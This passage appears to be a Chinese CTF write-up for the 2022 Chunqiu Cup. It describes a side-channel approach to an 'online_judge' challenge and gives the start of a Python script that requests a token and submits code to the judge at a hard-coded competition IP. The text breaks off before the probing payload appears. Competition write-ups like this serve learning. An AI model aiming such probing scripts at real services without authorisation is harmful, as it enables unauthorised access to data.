【WP】2022春秋杯
前言
本次春秋杯是个人赛,打的很捞,但是有许多有趣的题目,学到了一些新东西
最终是解了4+1的题目,一个问卷就不算了。最终排位23。
Pwn
online_judge
虽然叫作pwn,但是我感觉是web。。
使用侧信道攻击,因为oj的测试用例只有一个3,所以可以用这个3来进行碰撞,脚本如下:
import requests, time
host, port = "47.104.129.38", 10101
base_url = f"http://{
host}:{
port}"
token_url = f"{
base_url}/getToken"
judge_url = f"{
base_url}/judge"
def getToken():
result = requests.post(token_url).json()
# print(result)
assert not result["error"], "System error"
return result["data"]["token"]
def judge(chall: str, src: str, language: str = "C"):
data = {
"src": src,
"language": language,
"action": chall,
"token": token,
}
result = requests.post(judge_url, json=data).json()
# print(result)
time.sleep(0.5)
return result['data'] == 'SUCCESS'
token = getToken()
print<